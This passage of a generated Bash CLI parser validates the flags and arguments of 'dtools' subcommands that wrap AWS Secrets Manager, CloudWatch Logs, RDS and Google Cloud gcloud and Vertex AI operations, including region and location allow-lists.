ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 exit 1 fi filter_error=$(filter_profile_and_region_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 exit 1 fi } dtools_aws_secretsmanager_show_secret_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_aws_secretsmanager_show_secret_usage exit ;; *) break ;; esac done action="aws secretsmanager show-secret" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --profile | -p) if [[ -n ${2+x} ]]; then args['--profile']="$2" shift shift else printf "%s\n" "--profile requires an argument: --profile, -p PROFILE" >&2 exit 1 fi ;; --region | -r) if [[ -n ${2+x} ]]; then args['--region']="$2" shift shift else printf "%s\n" "--region requires an argument: --region, -r REGION" >&2 exit 1 fi ;; --detailed) args['--detailed']=1 shift ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) if [[ -z ${args['secret_id']+x} ]]; then args['secret_id']=$1 shift else printf "invalid argument: %s\n" "$key" >&2 exit 1 fi ;; esac done if [[ -z ${args['secret_id']+x} ]]; then printf "missing required argument: SECRET_ID\nusage: dtools aws secretsmanager show-secret SECRET_ID [OPTIONS]\n" >&2 exit 1 fi [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" if [[ -v args['--profile'] ]]; then validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" if [[ -n "${validation_output}" ]]; then printf "validation error in %s:\n%s\n" "--profile, -p PROFILE" "$validation_output" >&2 exit 1 fi fi if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 exit 1 fi filter_error=$(filter_profile_and_region_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 exit 1 fi } dtools_aws_secretsmanager_create_secret_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_aws_secretsmanager_create_secret_usage exit ;; *) break ;; esac done action="aws secretsmanager create-secret" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --profile | -p) if [[ -n ${2+x} ]]; then args['--profile']="$2" shift shift else printf "%s\n" "--profile requires an argument: --profile, -p PROFILE" >&2 exit 1 fi ;; --region | -r) if [[ -n ${2+x} ]]; then args['--region']="$2" shift shift else printf "%s\n" "--region requires an argument: --region, -r REGION" >&2 exit 1 fi ;; --name) if [[ -n ${2+x} ]]; then args['--name']="$2" shift shift else printf "%s\n" "--name requires an argument: --name NAME" >&2 exit 1 fi ;; --secret-string) if [[ -n ${2+x} ]]; then args['--secret-string']="$2" shift shift else printf "%s\n" "--secret-string requires an argument: --secret-string SECRET_STRING" >&2 exit 1 fi ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done if [[ -z ${args['--name']+x} ]]; then printf "missing required flag: --name NAME\n" >&2 exit 1 fi if [[ -z ${args['--secret-string']+x} ]]; then printf "missing required flag: --secret-string SECRET_STRING\n" >&2 exit 1 fi [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" if [[ -v args['--profile'] ]]; then validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" if [[ -n "${validation_output}" ]]; then printf "validation error in %s:\n%s\n" "--profile, -p PROFILE" "$validation_output" >&2 exit 1 fi fi if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 exit 1 fi filter_error=$(filter_profile_and_region_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 exit 1 fi } dtools_aws_logs_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_aws_logs_usage exit ;; *) break ;; esac done missing_deps= if ! command -v aws >/dev/null 2>&1; then printf "missing dependency: aws\n" >&2 printf "%s\n\n" "Install the latest version following the instructions at 'https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html'" >&2 missing_deps=1 else deps['aws']="$(command -v aws | head -n1)" fi if ! command -v lnav >/dev/null 2>&1; then printf "missing dependency: lnav\n" >&2 printf "%s\n\n" "Install with 'brew install lnav'" >&2 missing_deps=1 else deps['lnav']="$(command -v lnav | head -n1)" fi if ! command -v unbuffer >/dev/null 2>&1; then printf "missing dependency: unbuffer\n" >&2 printf "%s\n\n" "Install with 'brew install expect'" >&2 missing_deps=1 else deps['unbuffer']="$(command -v unbuffer | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action=${1:-} case $action in -*) ;; list-log-groups) action="list-log-groups" shift dtools_aws_logs_list_log_groups_parse_requirements "$@" shift $# ;; tail-log-group) action="tail-log-group" shift dtools_aws_logs_tail_log_group_parse_requirements "$@" shift $# ;; query-log-groups) action="query-log-groups" shift dtools_aws_logs_query_log_groups_parse_requirements "$@" shift $# ;; "") dtools_aws_logs_usage >&2 exit 1 ;; *) printf "invalid command: %s\n" "$action" >&2 exit 1 ;; esac while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_aws_logs_list_log_groups_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_aws_logs_list_log_groups_usage exit ;; *) break ;; esac done action="aws logs list-log-groups" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --profile | -p) if [[ -n ${2+x} ]]; then args['--profile']="$2" shift shift else printf "%s\n" "--profile requires an argument: --profile, -p PROFILE" >&2 exit 1 fi ;; --region | -r) if [[ -n ${2+x} ]]; then args['--region']="$2" shift shift else printf "%s\n" "--region requires an argument: --region, -r REGION" >&2 exit 1 fi ;; --detailed) args['--detailed']=1 shift ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" if [[ -v args['--profile'] ]]; then validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" if [[ -n "${validation_output}" ]]; then printf "validation error in %s:\n%s\n" "--profile, -p PROFILE" "$validation_output" >&2 exit 1 fi fi if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 exit 1 fi filter_error=$(filter_profile_and_region_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 exit 1 fi } dtools_aws_logs_tail_log_group_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_aws_logs_tail_log_group_usage exit ;; *) break ;; esac done missing_deps= if ! command -v lnav >/dev/null 2>&1; then printf "missing dependency: lnav\n" >&2 printf "%s\n\n" "Install with 'brew install lnav'" >&2 missing_deps=1 else deps['lnav']="$(command -v lnav | head -n1)" fi if ! command -v unbuffer >/dev/null 2>&1; then printf "missing dependency: unbuffer\n" >&2 printf "%s\n\n" "Install with 'brew install expect'" >&2 missing_deps=1 else deps['unbuffer']="$(command -v unbuffer | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="aws logs tail-log-group" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --profile | -p) if [[ -n ${2+x} ]]; then args['--profile']="$2" shift shift else printf "%s\n" "--profile requires an argument: --profile, -p PROFILE" >&2 exit 1 fi ;; --region | -r) if [[ -n ${2+x} ]]; then args['--region']="$2" shift shift else printf "%s\n" "--region requires an argument: --region, -r REGION" >&2 exit 1 fi ;; --since | -s) if [[ -n ${2+x} ]]; then args['--since']="$2" shift shift else printf "%s\n" "--since requires an argument: --since, -s SINCE" >&2 exit 1 fi ;; --verbose | -v) args['--verbose']=1 shift ;; --stdout) args['--stdout']=1 shift ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) if [[ -z ${args['log-group']+x} ]]; then args['log-group']=$1 shift else printf "invalid argument: %s\n" "$key" >&2 exit 1 fi ;; esac done if [[ -z ${args['log-group']+x} ]]; then printf "missing required argument: LOG-GROUP\nusage: dtools aws logs tail-log-group LOG-GROUP [OPTIONS]\n" >&2 exit 1 fi [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" [[ -n ${args['--since']:-} ]] || args['--since']="10m" if [[ -v args['--profile'] ]]; then validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" if [[ -n "${validation_output}" ]]; then printf "validation error in %s:\n%s\n" "--profile, -p PROFILE" "$validation_output" >&2 exit 1 fi fi if [[ -v args['--since'] ]]; then validation_output="$(validate_relative_since_time_format "${args['--since']:-}")" if [[ -n "${validation_output}" ]]; then printf "validation error in %s:\n%s\n" "--since, -s SINCE" "$validation_output" >&2 exit 1 fi fi if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 exit 1 fi filter_error=$(filter_profile_and_region_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 exit 1 fi } dtools_aws_logs_query_log_groups_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_aws_logs_query_log_groups_usage exit ;; *) break ;; esac done action="aws logs query-log-groups" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --profile | -p) if [[ -n ${2+x} ]]; then args['--profile']="$2" shift shift else printf "%s\n" "--profile requires an argument: --profile, -p PROFILE" >&2 exit 1 fi ;; --region | -r) if [[ -n ${2+x} ]]; then args['--region']="$2" shift shift else printf "%s\n" "--region requires an argument: --region, -r REGION" >&2 exit 1 fi ;; --log-group-name | -l) if [[ -n ${2+x} ]]; then escaped="$(printf '%q' "$2")" if [[ -z ${args['--log-group-name']+x} ]]; then args['--log-group-name']="$escaped" else args['--log-group-name']="${args['--log-group-name']} $escaped" fi shift shift else printf "%s\n" "--log-group-name requires an argument: --log-group-name, -l LOG_GROUP_NAME" >&2 exit 1 fi ;; --start-time) if [[ -n ${2+x} ]]; then args['--start-time']="$2" shift shift else printf "%s\n" "--start-time requires an argument: --start-time START_TIME" >&2 exit 1 fi ;; --end-time) if [[ -n ${2+x} ]]; then args['--end-time']="$2" shift shift else printf "%s\n" "--end-time requires an argument: --end-time END_TIME" >&2 exit 1 fi ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) if [[ -z ${args['query']+x} ]]; then args['query']=$1 shift else printf "invalid argument: %s\n" "$key" >&2 exit 1 fi ;; esac done if [[ -z ${args['--log-group-name']+x} ]]; then printf "missing required flag: --log-group-name, -l LOG_GROUP_NAME\n" >&2 exit 1 fi if [[ -z ${args['--start-time']+x} ]]; then printf "missing required flag: --start-time START_TIME\n" >&2 exit 1 fi if [[ -z ${args['--end-time']+x} ]]; then printf "missing required flag: --end-time END_TIME\n" >&2 exit 1 fi [[ -n ${args['query']:-} ]] || args['query']="fields @timestamp, @message | sort @timestamp desc" [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" if [[ -v args['--profile'] ]]; then validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" if [[ -n "${validation_output}" ]]; then printf "validation error in %s:\n%s\n" "--profile, -p PROFILE" "$validation_output" >&2 exit 1 fi fi if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 exit 1 fi filter_error=$(filter_profile_and_region_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 exit 1 fi } dtools_aws_rds_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_aws_rds_usage exit ;; *) break ;; esac done missing_deps= if ! command -v aws >/dev/null 2>&1; then printf "missing dependency: aws\n" >&2 printf "%s\n\n" "Install the latest version following the instructions at 'https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html'" >&2 missing_deps=1 else deps['aws']="$(command -v aws | head -n1)" fi if ! command -v jq >/dev/null 2>&1; then printf "missing dependency: jq\n" >&2 printf "%s\n\n" "Install with 'brew install jq'" >&2 missing_deps=1 else deps['jq']="$(command -v jq | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action=${1:-} case $action in -*) ;; list-db-instances) action="list-db-instances" shift dtools_aws_rds_list_db_instances_parse_requirements "$@" shift $# ;; fetch-db-connection-details) action="fetch-db-connection-details" shift dtools_aws_rds_fetch_db_connection_details_parse_requirements "$@" shift $# ;; "") dtools_aws_rds_usage >&2 exit 1 ;; *) printf "invalid command: %s\n" "$action" >&2 exit 1 ;; esac while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_aws_rds_list_db_instances_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_aws_rds_list_db_instances_usage exit ;; *) break ;; esac done action="aws rds list-db-instances" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --profile | -p) if [[ -n ${2+x} ]]; then args['--profile']="$2" shift shift else printf "%s\n" "--profile requires an argument: --profile, -p PROFILE" >&2 exit 1 fi ;; --region | -r) if [[ -n ${2+x} ]]; then args['--region']="$2" shift shift else printf "%s\n" "--region requires an argument: --region, -r REGION" >&2 exit 1 fi ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" if [[ -v args['--profile'] ]]; then validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" if [[ -n "${validation_output}" ]]; then printf "validation error in %s:\n%s\n" "--profile, -p PROFILE" "$validation_output" >&2 exit 1 fi fi if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 exit 1 fi filter_error=$(filter_profile_and_region_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 exit 1 fi } dtools_aws_rds_fetch_db_connection_details_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_aws_rds_fetch_db_connection_details_usage exit ;; *) break ;; esac done action="aws rds fetch-db-connection-details" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --profile | -p) if [[ -n ${2+x} ]]; then args['--profile']="$2" shift shift else printf "%s\n" "--profile requires an argument: --profile, -p PROFILE" >&2 exit 1 fi ;; --region | -r) if [[ -n ${2+x} ]]; then args['--region']="$2" shift shift else printf "%s\n" "--region requires an argument: --region, -r REGION" >&2 exit 1 fi ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) if [[ -z ${args['db_instance']+x} ]]; then args['db_instance']=$1 shift else printf "invalid argument: %s\n" "$key" >&2 exit 1 fi ;; esac done if [[ -z ${args['db_instance']+x} ]]; then printf "missing required argument: DB_INSTANCE\nusage: dtools aws rds fetch-db-connection-details DB_INSTANCE [OPTIONS]\n" >&2 exit 1 fi [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" if [[ -v args['--profile'] ]]; then validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" if [[ -n "${validation_output}" ]]; then printf "validation error in %s:\n%s\n" "--profile, -p PROFILE" "$validation_output" >&2 exit 1 fi fi if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 exit 1 fi filter_error=$(filter_profile_and_region_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 exit 1 fi } dtools_gcp_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_gcp_usage exit ;; *) break ;; esac done missing_deps= if ! command -v gcloud >/dev/null 2>&1; then printf "missing dependency: gcloud\n" >&2 printf "%s\n\n" "Install the latest version following the instructions at 'https://docs.cloud.google.com/sdk/docs/install'" >&2 missing_deps=1 else deps['gcloud']="$(command -v gcloud | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action=${1:-} case $action in -*) ;; login) action="login" shift dtools_gcp_login_parse_requirements "$@" shift $# ;; project) action="project" shift dtools_gcp_project_parse_requirements "$@" shift $# ;; location) action="location" shift dtools_gcp_location_parse_requirements "$@" shift $# ;; get-project-number) action="get-project-number" shift dtools_gcp_get_project_number_parse_requirements "$@" shift $# ;; vertex) action="vertex" shift dtools_gcp_vertex_parse_requirements "$@" shift $# ;; artifacts) action="artifacts" shift dtools_gcp_artifacts_parse_requirements "$@" shift $# ;; "") dtools_gcp_usage >&2 exit 1 ;; *) printf "invalid command: %s\n" "$action" >&2 exit 1 ;; esac while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_gcp_login_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_gcp_login_usage exit ;; *) break ;; esac done action="gcp login" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --project | -p) if [[ -n ${2+x} ]]; then args['--project']="$2" shift shift else printf "%s\n" "--project requires an argument: --project, -p PROJECT" >&2 exit 1 fi ;; --location | -l) if [[ -n ${2+x} ]]; then args['--location']="$2" shift shift else printf "%s\n" "--location requires an argument: --location, -l LOCATION" >&2 exit 1 fi ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done [[ -n ${args['--location']:-} ]] || args['--location']="us-central1" if [[ ${args['--location']:-} ]] && [[ ! ${args['--location']:-} =~ ^(africa-south1|asia-east1|asia-east2|asia-northeast1|asia-northeast2|asia-northeast3|asia-south1|asia-south2|asia-southeast1|asia-southeast2|australia-southeast1|australia-southeast2|europe-central2|europe-north1|europe-north2|europe-southwest1|europe-west1|europe-west10|europe-west12|europe-west2|europe-west3|europe-west4|europe-west6|europe-west8|europe-west9|me-central1|me-central2|me-west1|northamerica-northeast1|northamerica-northeast2|northamerica-south1|southamerica-east1|southamerica-west1|us-central1|us-east1|us-east4|us-east5|us-south1|us-west1|us-west2|us-west3|us-west4)$ ]]; then printf "%s\n" "--location must be one of: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" >&2 exit 1 fi filter_error=$(filter_project_and_location_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 exit 1 fi } dtools_gcp_project_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_gcp_project_usage exit ;; *) break ;; esac done action="gcp project" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) if [[ -z ${args['project']+x} ]]; then args['project']=$1 shift else printf "invalid argument: %s\n" "$key" >&2 exit 1 fi ;; esac done if [[ -z ${args['project']+x} ]]; then printf "missing required argument: PROJECT\nusage: dtools gcp project PROJECT\n" >&2 exit 1 fi } dtools_gcp_location_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_gcp_location_usage exit ;; *) break ;; esac done action="gcp location" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) if [[ -z ${args['location']+x} ]]; then args['location']=$1 shift else printf "invalid argument: %s\n" "$key" >&2 exit 1 fi ;; esac done if [[ -z ${args['location']+x} ]]; then printf "missing required argument: LOCATION\nusage: dtools gcp location LOCATION\n" >&2 exit 1 fi if [[ -n ${args['location']:-} ]] && [[ ! ${args['location']:-} =~ ^(africa-south1|asia-east1|asia-east2|asia-northeast1|asia-northeast2|asia-northeast3|asia-south1|asia-south2|asia-southeast1|asia-southeast2|australia-southeast1|australia-southeast2|europe-central2|europe-north1|europe-north2|europe-southwest1|europe-west1|europe-west10|europe-west12|europe-west2|europe-west3|europe-west4|europe-west6|europe-west8|europe-west9|me-central1|me-central2|me-west1|northamerica-northeast1|northamerica-northeast2|northamerica-south1|southamerica-east1|southamerica-west1|us-central1|us-east1|us-east4|us-east5|us-south1|us-west1|us-west2|us-west3|us-west4)$ ]]; then printf "%s\n" "location must be one of: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" >&2 exit 1 fi } dtools_gcp_get_project_number_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_gcp_get_project_number_usage exit ;; *) break ;; esac done action="gcp get-project-number" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) if [[ -z ${args['project_name']+x} ]]; then args['project_name']=$1 shift else printf "invalid argument: %s\n" "$key" >&2 exit 1 fi ;; esac done if [[ -z ${args['project_name']+x} ]]; then printf "missing required argument: PROJECT_NAME\nusage: dtools gcp get-project-number PROJECT_NAME\n" >&2 exit 1 fi } dtools_gcp_vertex_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_gcp_vertex_usage exit ;; *) break ;; esac done missing_deps= if ! command -v gcloud >/dev/null 2>&1; then printf "missing dependency: gcloud\n" >&2 printf "%s\n\n" "Install the latest version following the instructions at 'https://docs.cloud.google.com/sdk/docs/install'" >&2 missing_deps=1 else deps['gcloud']="$(command -v gcloud | head -n1)" fi if ! command -v jq >/dev/null 2>&1; then printf "missing dependency: jq\n" >&2 printf "%s\n\n" "Install with 'brew install jq'" >&2 missing_deps=1 else deps['jq']="$(command -v jq | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action=${1:-} case $action in -*) ;; deploy-model) action="deploy-model" shift dtools_gcp_vertex_deploy_model_parse_requirements "$@" shift $# ;; predict) action="predict" shift dtools_gcp_vertex_predict_parse_requirements "$@" shift $# ;; list-endpoints) action="list-endpoints" shift dtools_gcp_vertex_list_endpoints_parse_requirements "$@" shift $# ;; tail-endpoint-logs) action="tail-endpoint-logs" shift dtools_gcp_vertex_tail_endpoint_logs_parse_requirements "$@" shift $# ;; "") dtools_gcp_vertex_usage >&2 exit 1 ;; *) printf "invalid command: %s\n" "$action" >&2 exit 1 ;; esac while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_gcp_vertex_deploy_model_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_gcp_vertex_deploy_model_usage exit ;; *) break ;; esac done action="gcp vertex deploy-model" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --project | -p) if [[ -n ${2+x} ]]; then args['--project']="$2" shift shift else printf "%s\n" "--project requires an argument: --project, -p PROJECT" >&2 exit 1 fi ;; --location | -l) if [[ -n ${2+x} ]]; then args['--location']="$2" shift shift else printf "%s\n" "--location requires an argument: --location, -l LOCATION" >&2 